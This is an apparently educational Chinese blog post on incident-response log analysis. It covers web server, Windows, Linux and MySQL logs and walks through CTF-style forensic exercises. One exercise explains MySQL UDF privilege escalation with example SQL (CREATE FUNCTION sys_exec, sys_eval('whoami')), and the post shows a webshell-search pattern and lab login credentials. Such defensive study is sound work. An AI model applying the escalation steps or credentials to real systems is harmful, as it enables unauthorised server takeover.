应急响应-日志分析 - voasem

news/2025/9/18 15:34:15/文章来源:https://www.cnblogs.com/twd-z/p/19098215

web服务器日志

0ce38f62f97f6686559505033418dd0b

在很多时候,我们经常需要分析网站的日志,以此来查看网站运行的各种情况。比如说如果网站被攻击,我们可以通过查看日志来溯源攻击者。

Apache

日志目录:/Apache/logs/

aee9f0c49175b88f9459cbbbce01c13f

logs目录下有两个文件,一个是 access.log ,就是用户的访问日志。还有一个是 error.log,这个是apache运行时的错误日志。

a493adf33652b1183268dd2184f8affb

Nginx

日志目录:/Nginx/logs/

b901995642d338372ff08a8020452ef3

logs目录下有两个文件,一个是 access.log ,就是用户的访问日志。还有一个是 error.log,这个是apache运行时的错误日志。

37f03f6bf52712d5ad4be2102e7fb82a

Tomcat

日志目录:/Tomcat/logs/

3f62d4221188288d940ba5e99e338be4

logs目录下有五类文件:

  • catalina.日期.log:这个主要是记录tomcat启动时候的信息,类似于我们在eclipse中启动服务的时候在控制台看到的信息
  • host-manager.日期.log:这个是放tomcat的自带的manager项目的日志信息的,也没有看到有什么重要的日志信息
  • localhost.日期.log:这个类似于catalina日志,可是信息没有第一种全
  • localhost_access_log.日期.txt:这个是存放访问tomcat的请求的所有地址以及请求的路径、时间,请求协议以及返回码等信息(重要)
  • manager.日志.log:这个估计是manager项目专有的日志文件

716f6aa567675bc6289c690de78678c7

Web日志的分析

如下,我们分析日志中第8条的更个部分的含义

  • 访问者ip:127.0.0.1
  • 访问日期:07/Nov/2019:18:11:54 +0800
  • 请求方式:GET
  • 请求链接:/dvwa/phpinfo.php
  • 请求参数:PHPE9568F34-D428-11d2-A769-00AA001ACF42
  • HTTP协议:HTTP/1.1
  • 返回转态码:200
  • 返回包的长度:2536
  • 请求包的Referer:http://127.0.0.1/dvwa/phpinfo.php
  • 访问者的浏览器信息:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

image-20250808024958955

Window日志分析

01 事件日志简介

Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。

系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。 默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。 安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。

查看系统日志方法:

  1. “开始”菜单上,依次指向“所有程序”“管理工具”,然后单击“事件查看器”

  2. 按 "Window+R",输入 ”eventvwr.msc“ 也可以直接进入“事件查看器

log-1-3

02 事件日志分析

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:

事件ID 说明
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户(如管理员)进行登录
4720 创建用户

每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

登录类型 描述 说明
2 交互式登录(Interactive) 用户在本地进行登录。
3 网络(Network) 最常见的情况就是连接到共享文件夹或共享打印机时。
4 批处理(Batch) 通常表明某计划任务启动。
5 服务(Service) 每种服务都被配置在某个特定的用户账号下运行。
7 解锁(Unlock) 屏保解锁。
8 网络明文(NetworkCleartext) 登录的密码在网络上是通过明文传输的,如FTP。
9 新凭证(NewCredentials) 使用带/Netonly参数的RUNAS命令运行一个程序。
10 远程交互,(RemoteInteractive) 通过终端服务、远程桌面或远程协助访问计算机。
11 缓存交互(CachedInteractive) 以一个域用户登录而又没有域控制器可用

关于更多EVENT ID,详见微软官方网站上找到了“Windows Vista 和 Windows Server 2008 中的安全事件的说明”。

原文链接 :https://support.microsoft.com/zh-cn/help/977519/description-of-security-events-in-windows-7-and-in-windows-server-2008

案例1:可以利用eventlog事件来查看系统账号登录情况:

  1. “开始”菜单上,依次指向“所有程序”“管理工具”,然后单击“事件查看器”

  2. 在事件查看器中,单击“安全”,查看安全日志;

  3. 在安全日志右侧操作中,点击“筛选当前日志”,输入事件ID进行筛选。

    4624 --登录成功
    4625 --登录失败
    4634 -- 注销成功 4647 -- 用户启动的注销
    4672 -- 使用超级用户(如管理员)进行登录

我们输入事件ID:4625进行日志筛选,发现事件ID:4625,事件数175904,即用户登录失败了175904次,那么这台服务器管理员账号可能遭遇了暴力猜解。

log-1-4

04 日志分析工具

Log Parser

Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。

Log Parser 2.2下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659

Log Parser 使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/

log-1-6

基本查询结构

Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"

使用Log Parser分析日志

1、查询登录成功的事件

登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID  "SELECT *  FROM c:\Security.evtx where EventID=4624"指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID  "SELECT *  FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"提取登录成功的用户名和IP:
LogParser.exe -i:EVT  –o:DATAGRID  "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624"

2、查询登录失败的事件

登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID  "SELECT *  FROM c:\Security.evtx where EventID=4625"提取登录失败用户名进行聚合统计:
LogParser.exe  -i:EVT "SELECT  EXTRACT_TOKEN(Message,13,' ')  as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where EventID=4625 GROUP BY Message"

3、系统历史开关机记录:

LogParser.exe -i:EVT –o:DATAGRID  "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"

LogParser Lizard

对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。

下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx

依赖包:Microsoft .NET Framework 4 .5,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42642

查询最近用户登录情况:

log-1-7

Event Log Explorer

Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。

下载地址:https://event-log-explorer.en.softonic.com/

log-1-8

03 Web日志分析

01 Web日志

Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。

我们来看一条Apache的访问日志:

127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"

通过这条Web访问日志,我们可以清楚的得知用户在什么IP、什么时间、用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,是否访问成功。

02 日志分析技巧

在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程。

第一种:确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。

第二种:攻击者在入侵网站后,通常会留下后门维持权限,以方便再次访问,我们可以找到该文件,并以此为线索来展开分析。

常用分析工具:

Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。

Linux下,使用Shell命令组合查询分析。

Shell+Linux命令实现日志分析,一般结合grep、awk等命令等实现了几个常用的日志分析统计技巧。

Apache日志分析技巧:

1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -202、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l

04 日志统计分析技巧

统计爬虫:

grep -E 'Googlebot|Baiduspider'  /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq

统计浏览器:

cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100

IP 统计:

grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 102206 219.136.134.131497 182.34.15.2481431 211.140.143.1001431 119.145.149.1061427 61.183.15.1791427 218.6.8.1891422 124.232.150.1711421 106.187.47.2241420 61.160.220.2521418 114.80.201.18

统计网段:

cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200

统计域名:

cat  /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more

HTTP Status:

cat  /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more
5056585 304
1125579 2007602 4005 301

URL 统计:

cat  /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more

文件流量统计:

cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|moregrep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more

URL访问量统计:

cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more

脚本运行速度:

查出运行速度最慢的脚本

grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt

IP, URL 抽取:

# tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'

Linux日志分析

什么是Linux日志分析?

Linux日志分析是指对Linux系统中生成的日志文件进行检查、监控和分析的过程。在Linux系统中,各种服务和应用程序会产生日志文件,记录系统运行状态、用户操作、系统错误、安全事件等信息。分析这些日志可以帮助系统管理员理解系统的运行状况,诊断问题,并确保系统的安全和稳定运行。日志分析可以手动进行,也可以使用各种日志分析工具来自动化这一过程。常见的日志文件包括系统日志(/var/log/syslog 或 /var/log/messages)、认证日志(/var/log/auth.log)、应用程序日志等。

常见日志文件

Linux系统中的日志文件通常存储在 /var/log 目录下,常见的日志文件包括:

  • /var/log/syslog:记录系统的各种信息和错误。

  • /var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。

  • /var/log/kern.log:记录内核生成的日志信息。

  • /var/log/dmesg:记录系统启动时内核产生的消息。

  • /var/log/boot.log:记录系统启动过程中的消息。

  • /var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。

  • /var/log/secure:记录安全相关的消息。

  • /var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。

  • /var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。

常见日志文件位置

1.Apache日志

  • 访问日志:默认位置通常是/var/log/apache2/access.log.1(Debian/Ubuntu)或/var/log/httpd/access_log.1(CentOS/RHEL)。
  • 错误日志:默认位置通常是/var/log/apache2/error.log.1(Debian/Ubuntu)或/var/log/httpd/error_log.1(CentOS/RHEL)。

2.SSH日志

  • 身份验证日志:通常位于/var/log/auth.log(Debian/Ubuntu)或/var/log/secure(CentOS/RHEL)。

3.系统日志

  • 系统日志:通常位于/var/log/syslog(Debian/Ubuntu)或/var/log/messages(CentOS/RHEL)。

例题image-20250814004959515

1.查爆破主机账号ipimage-20250814005025710

遇到这种题

首先肯定是先找到日志的位置,一般来说,SSH登录尝试 会记录在 /var/log/auth.log.1(这是固定的)

SSH登录尝试会记录在 `/var/log/auth.log.1`**auth.log和auth.log.1有什么区别,为什么查看.1?

image-20250814004022041
接着那既然是爆破,那肯定会有很多失败的次数。

——使用grep筛选出SSH失败的登录尝试
最后

提取IP地址: 从这些日志条目中提取尝试登录的IP地址。

统计各个IP地址的尝试次数: 统计每个IP地址的尝试次数,找出所有尝试暴力破解的IP。

逻辑基本就是上面这样,如果日志少一些那还好,可以一条条进行分析,日志多的话要进行筛选
命令:

cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

image-20250814021230270

835df90bd105b69bca0a7f88d47d70ea

flag{192.168.200.2,192.168.200.31,192.168.200.32}

2.找成功登陆的ipimage-20250814005042898

得到上述3个ip,最多的次数是四次,直接提交尝试

3.爆破用户名字典

image-20250814005140578

那首先我们得了解什么是爆破用户名字典?

简单来说指黑客在进行暴力破解攻击时使用的一系列用户名列表。黑客通过自动化工具逐个尝试这些用户名,结合常见或默认密码,试图找到有效的登录凭据。这个过程被称为“字典攻击”或“暴力破解攻击”。

具体操作步骤:

  • 识别关键日志条目:

确定日志中包含攻击相关信息的条目。例如,SSH 失败登录尝试通常包含“Failed password”关键字,成功登录则包含“Accepted”。

  • 提取有用信息:

使用文本处理工具如 grep、awk、perl 或 sed 提取出关键数据。例如,可以从日志中提取出失败尝试的用户名、IP地址、时间戳等。

  • 统计分析:

对提取出的信息进行统计分析,以确定被尝试最多的用户名和来源IP等。例如,使用 uniq 和 sort 对数据进行去重和排序。

解题

分析:

auth.log.1文件,提取出所有包含"Failed password"字符串的行,这通常表明有失败的登录尝试。

然后用命令

使用Perl脚本提取出失败尝试的用户名和来源IP地址,统计每个用户名的失败尝试次数,并按照次数降序排列显示结果。

cat auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

分析命令:image-20250814012947639

总结:image-20250814013504191

4.成功登录 root 用户的 ip爆破次数image-20250814011704034

cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

57049d78e7d5905b26b4f4d7c07700a4

flag{4}

5.新建后门用户

image-20250814011722147

新的知识点:问我们黑客登陆主机后新建了一个后门用户,用户名是多少?

那这种我们怎么操作呢?(其实基本也就是这五个步骤)

步骤1:确定日志文件

通常与用户登录和用户管理活动相关的日志文件是 /var/log/auth.log 或其备份文件如 /var/log/auth.log.1。

步骤2:搜索创建用户的关键字

使用 grep 命令搜索与创建用户相关的关键字,如 new user。这样可以找到所有新建用户的日志条目。

cat /var/log/auth.log.1 | grep -a "new user"

此命令会列出所有包含 new user 的日志行,这些行通常记录了用户创建的详细信息。

步骤3:提取新用户信息

从日志中提取新用户的详细信息,包括用户名、创建时间等。

例如,假设你得到了如下输出:

Jan 12 10:32:15 server useradd[1234]: new user: name=testuser, UID=1001, GID=1001, home=/home/testuser, shell=/bin/bash

这条日志显示了创建的新用户 testuser。

步骤4:分析执行上下文

确认新用户的创建是否由合法用户执行,或是否有可疑的远程登录记录。

可以使用以下命令查找所有用户登录的情况,以确定是否有可疑的登录行为:

grep "Accepted" /var/log/auth.log.1

步骤5:进一步确认

结合其他日志文件,如 /var/log/syslog,查看是否有异常的命令执行或系统变更。

总结

确定相关日志文件。
搜索特定关键字,找到新用户创建的记录。
提取并分析详细信息,确认新用户的合法性
结合其他日志文件,确认是否有异常活动。
那这里我们肯定就是找新建用户,因为题目也已经说明了.黑客登陆主机后新建了一个后门用户;

cat auth.log.1 |grep -a "new user"

这里的《-a》是什么意思呢?

简单来说就是在 grep 命令中,-a 选项的作用是将文件视为文本文件处理,即使文件可能包含一些二进制数据。通常,grep 会将二进制文件视为二进制数据而不是文本数据,并可能不会显示预期的结果。使用 -a 选项可以确保 grep 按文本模式处理文件中的内容。

flag{test2}

Apache日志分析

什么是apache日志分析?

日志分析是监控和优化网站性能、安全性和用户体验的重要手段。Apache日志分析是其中的一个重要组成部分,因为Apache是目前最流行的Web服务器之一。Apache日志记录了服务器上的各种活动,包括访问请求、错误信息、用户行为等。通过分析这些日志,可以获取有价值的信息,帮助网站管理员做出更好的决策。

Apache日志分析

Apache日志分析是专门针对Apache HTTP服务器生成的日志文件进行分析。Apache服务器主要生成两种类型的日志文件:

  • 访问日志(access log):

​ 记录了所有对Web服务器的请求,包括客户端IP地址、请求时间、请求方式、请求资源、响应状态码、数据传输量等。

  • 错误日志(error log):

​ 记录了服务器在运行过程中遇到的错误和警告信息,包括启动和停止时的信息。

例题

image-20250814021712052

1.找到访问次数最多的ip

image-20250814021904165

先进入日志所在目录;

cd /var/log/apache2/

粗略查看一下;

cat access.log.1

发现有很多条记录,用命令筛选

 cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20

58a817d4184646de5f2404b0e2409c31

flag{192.168.200.2}

2.使用的浏览器指纹是什么

先知道浏览器指纹是什么?

通俗一点的说,就是浏览器网站上打开进行的所有操作都会留下痕迹,关闭以后仍然存在

image-20250814032640483

image-20250814025634151

题目

image-20250814021920608

命令

cat access.log.1 |grep 192.168.200.2 |more

5904ccb1840deead0ae14f3a068e8b28

大致就看哪个出现的最多,,实在不行都尝试一下

浏览器指纹部分

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

3.查看index.php页面被访问的次数

如果你回看的话,先问你一个问题!!!

次数的命令用什么:: wc -l

(统计行数)

image-20250814033614723
)命令:

cat access.log.1 | grep "/index.php" | wc -l

518725f339e44b24594c1748eb9e131d

两个命令都可以

4.查看黑客IP访问了多少次

image-20250814021941120

已经有经验了

访问次数——access.log

查看黑客ip——grep "ip"

次数 wc -l

命令1
cat access.log.1 | grep “192.168.200.2 - -” | wc -l

那这里有人就要问了,ip后面- -是什么意思?

总结:固定格式

在 Apache 访问日志中,格式通常是标准的组合日志格式(Combined Log Format),包含了客户端 IP 地址、客户端身份验证信息、用户 ID、请求时间、请求行、状态码、响应大小、引用来源和用户代理等信息。以下是一个典型的日志条目:

例如;

192.168.200.2 - - [03/Aug/2023:08:00:00 +0000] "GET /index.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

在这个日志条目中,192.168.200.2 是客户端 IP 地址,- - 是占位符,表示客户端身份验证信息(客户端身份验证信息为空时用 - 表示)。

命令2
cat access.log.1 | grep “192.168.200.2” | cut -d’ ’ -f1 | sort | uniq -c

image-20250814041250921

命令3
grep “192.168.200.2” access.log.1 | cut -d’ ’ -f1 | sort | uniq -c

image-20250814041329911

72f66cf08e78ecd05d484a09163a6e7d

5.查看时间段内有多少IP访问

image-20250814021952772

还是用命令,差不多

首先把日期换成日志里面的格式

eg:2023年8月03日8时——03/Aug/2023:08:

命令1
cat access.log.1 | grep “03/Aug/2023:08:” | awk ‘{print $1}’ | sort -nr| uniq -c |wc -l

image-20250814041703383

命令2
cat access.log.1 | grep “03/Aug/2023:08:” | awk ‘{print $1}’ | sort -nr| uniq -c

image-20250814041740245

命令3
grep “03/Aug/2023:08:” access.log.1 | awk ‘{print $1}’ | sort -nr | uniq -c | wc -l

image-20250814041911065

flag{5}

Mysql日志分析

mysql应急响应 ssh账号 root  密码 xjmysql
ssh env.xj.edisec.net  -p xxxxx
1.黑客第一次写入的shell flag{关键字符串} 
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}

芝士店:

mysql提权其实很容易就想到udf提权,所以这里可以提前准备好路径:/usr/lib/mysql/plugin/,这个目录下就是一些mysql给用户准备的,放udf文件的目录,将你写好的功能文件进来,就能够像查询语句一样使用你写好的一些功能函数了,这里就是黑客经常用来提权的地方。
注意,Linux下的udf提权文件后缀名一般是.so结尾,而在windows中的话一般是dll结尾文件。

步骤1.黑客第一次写入的shell

flag{关键字符串}

既然hacker要在mysql里写入shell,那么首先他一定是先拿下了网站,并上传了shell,第一次写入的shell,我们可以去web目录下查找

直接用webshell查找命令,来到web目录

find ./ -name "*.php" | xargs grep "@eval("

image-20250725184033707

步骤2.黑客反弹shell的ip

flag{ip}

查看定时任务,发现没有

查看日志文件

cd /var/log
ls

查看mysql文件夹的文件,发现了一个error日志
e7fa5ac713fb40b9a2317c42dbba8628

  • MySQL 错误日志(error.log)可能会记录相关的错误信息,比如加载 UDF 库失败的报错,像 Can't open shared library '/path/to/malicious_udf.so'。

  • 若攻击者使用的 SQL 语句(如创建函数、调用函数执行命令)涉及到写操作,会被记录在二进制日志(binary log)中。

  • 若查询日志(general log)开启,那么创建 UDF 函数以及调用函数执行命令的 SQL 语句都会被记录下来,能直观看到攻击者的操作步骤。

    查看error.log文件

cat error.log

发现了发生在临时文件/tmp的可疑信息,保存了一个文件1.sh

image-20250725184557421

列出/tmp/1.sh文件的内容
image-20250725184608216

则flag为 flag{192.168.100.13},成功

步骤 3

黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

1.分析题目

提权文件,那么了解一般的提权攻击

关于 Mysql 的提权方法有四种:

  • UDF 提权
  • MOF 提权(Windows 下)
  • 启动项提权(Windows 下)
  • CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)

查看目前靶场MariaDB的版本

mysql -V

2694dbf8987f4744914129126a97bf07

排除后三个,剩下的就是UDF提权了

UDF 执行系统命令

MySQL 允许用户通过 CREATE FUNCTION 语句创建自定义函数,这些函数可以调用系统库函数。攻击者上传恶意的 UDF 动态链接库文件到服务器,然后创建对应的自定义函数,通过调用该函数来执行系统命令。比如在 Linux 系统中,攻击者上传恶意的 .so 文件到 MySQL 的插件目录(由 plugin_dir 系统变量指定),并使用 SQL 语句创建函数,如 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME’malicious_udf.so’; ,之后调用 SELECT sys_exec(‘whoami’); 就可以执行系统命令,若 MySQL 以高权限运行,攻击者就可能利用此方式获取系统的高权限。

UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/

2.解题
方法一:
那就查看UDF的动态链接库

cd /usr/lib/mysql/plugin
ls -al

4dd92ff70f174e4f80cb887b0e22b340

发现这两个文件是所有用户都拥有读写权限的,有很大风险

<部分文件权限是 rw - rw - rw - (如 mysqludf.so、udf.so ),即所有用户都有读写权限。如果这些是 UDF 相关文件,存在较大风险,因为恶意用户可能篡改其内容,植入恶意代码,利用 UDF 执行系统命令等方式提权。正常情况下,这类文件应严格限制权限,至少让 mysql 用户可读写,其他用户仅能读或无权限。>

查看两个文件的内容

发现这个udf.so的文件与步骤一找到的黑客写入的shell文件的内容近乎一样,而且udf.so 本应是 ELF 二进制文件(动态链接库),但实际内容是 PHP WebShell(),说明文件被恶意篡改或伪装。

622119b9f5d84e45888895b8a2b41e2d

通过伪装 UDF 文件植入了 WebShell,攻击者先通过漏洞写入 WebShell(sh.php),再尝试伪装成 UDF 文件(udf.so)绕过防护,意图长期控制服务器。利用 MySQL UDF 提权的名义,实际是混淆视听,本质是 Web 后门渗透。

那么提权文件的完整路径为/usr/lib/mysql/plugin/udf.so

那么在线网站MD5加密得到flag为 flag{B1818BDE4E310F3D23F1005185B973E7}

方法二:检查数据库的信息

首先要找的就是MySQL数据库的账号和密码

一般/etc/mysql/my.cnf中会保存着MySQL的登录密码,但是查找发现这里没有。

2da37228591a444ab910f8fd10a780da
)

还有一个可找方向就是/var/www/html目录下的common.php文件。

Linux 系统的/var/www/html目录下,common.php是一个 PHP 脚本文件 ,通常在 Web 应用中承担着公共功能或配置相关的作用

配置文件
数据库连接配置:用于存储 Web 应用连接数据库(如 MySQL、PostgreSQL 等)的相关信息,包括数据库主机地址、用户名、密码、数据库名

查看/var/www/html/common.php文件,发现了数据库的账户和密码

f6e14347442d4641a21fce91cd2c2b30

登录数据库

mysql -uroot -p334cc35b3c704593

为了了解 MySQL 在文件操作安全、身份验证安全、时间戳安全等方面的配置情况,输入一下命令进行查询

show global variables like '%secure%';

secure_auth=OFF:
允许低版本客户端用弱加密密码连接,若数据库用户密码简单,易被中间人攻击破解。

secure_file_priv 为空:
是 MySQL 提权的典型高危配置!攻击者可利用 SELECT … INTO OUTFILE 写入恶意文件(如 WebShell),或通过 LOAD_FILE() 读取系统敏感数据。

那么这里就能明确的确定是UDF提权了

show variables like '%plugin%';

查询与插件相关的配置变量,帮助你了解当前数据库支持哪些插件、插件目录位置以及插件加载状态。9e112aae4ad74de4824023529a0a8996

plugin_dir

若该目录对普通用户或 Web 进程可写,攻击者可上传恶意 UDF 插件,通过 CREATE FUNCTION 加载后执行系统命令提权。确认是否存在未知 .so 文件
ada92cd3aac44522a82d1f8cf2af7bee

发现了过大权限的mysqludf.so和udf.so文件

查看文件内容发现udf.so文件的内容与步骤提黑客写入的shell文件内容一样,那么提权文件完整路径为/usr/lib/mysql/plugin/udf.so

步骤 4

黑客获取的权限 flag{whoami后的值}

1、分析题目
首先whoami命令是目前正在登录的用户

2、解题
查看进程(进程中可以显示出用户名以及查看启动进程所使用的命令和参数)

ps -aux

8554017ab2674d379c4f87f72c7b5b24

那么用户名就是mysql ,即flag为 flag{mysql}

若需要进一步确定,那就查看数据库

提权的典型痕迹

.so 文件:
MySQL 日志
MySQL 函数表:mysql.func 表中是否有异常的 UDF 函数。

SELECT * FROM mysql.func;

11302865773f4b5aa7d087df0d82c41e

再查询,得到mysql

select sys_eval('whoami');

11302865773f4b5aa7d087df0d82c41e

Windows 日志分析

通过查看 Windows 事件日志来了解系统运行状态、故障原因、攻击迹象等。Windows 事件日志存储了操作系统和应用程序的重要活动信息,分为应用程序日志、安全日志、系统日志等多种类型。通过分析这些日志,我们可以发现潜在的安全威胁、排查系统故障、或调查攻击行为。

这里也简单总结了下常见的 Windows 事件 ID 及其含义

安全日志相关事件 ID:

  1. 4624 - 成功的账户登录事件。
    • 登录的账号、时间、来源 IP 等信息可帮助识别是否有非法登录。
  2. 4625 - 账户登录失败事件。
    • 记录未能登录的尝试,帮助检测密码爆破或非法访问。
  3. 4634 - 用户注销事件。
    • 记录用户主动注销,或超时后系统自动注销。
  4. 4672 - 特权账户登录事件。
    • 当管理员或特权账号登录时,记录该事件,检测高权限用户的使用情况。
  5. 4688 - 新进程创建事件。
    • 记录进程的创建信息,能帮助检测恶意软件的执行情况。
  6. 4697 - 系统上安装服务的事件。
    • 记录系统中安装的服务,可以检测未经授权的服务安装。
  7. 4768 - Kerberos 认证票据授予(TGT)事件。
    • 与域控制器的身份验证有关,可以帮助分析域账号是否被滥用。
  8. 4776 - NTLM 认证失败事件。
    • 在 NTLM 认证失败时记录,可以帮助检测异常的身份验证行为。
  9. 4719 - 审计策略更改事件。
    • 系统审计策略的更改,能帮助判断是否有恶意用户试图掩盖痕迹。

系统日志相关事件 ID

  1. 6005- 事件日志服务启动
    • 系统启动事件日志服务,用于分析系统启动流程。
  2. 6006-事件日志服务停止
    • 系统即将关机时触发,辅助判断是否异常关机。
  3. 6008-非正常关机事件
    • 记录系统意外关闭(如崩溃、强制关机),用于故障排查。
  4. 7045-服务安装事件
    • 记录新服务安装,可检测恶意服务植入。

应用程序日志相关事件 ID

  1. 1000-应用程序崩溃事件
    • 记录应用崩溃细节(错误代码、故障模块),用于定位崩溃原因。
  2. 4621- 应用程序挂起事件
    • 分析应用无响应、卡死问题,辅助排查性能故障。

image-20250808040925528

1
审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
2
审计相关日志,提交rdp被爆破失败次数
3
审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
4
提交黑客创建的隐藏账号
5
提交黑客创建的影子账号

6

提交远程shell程序的连接IP+端口,以IP:port方式提交
7
黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
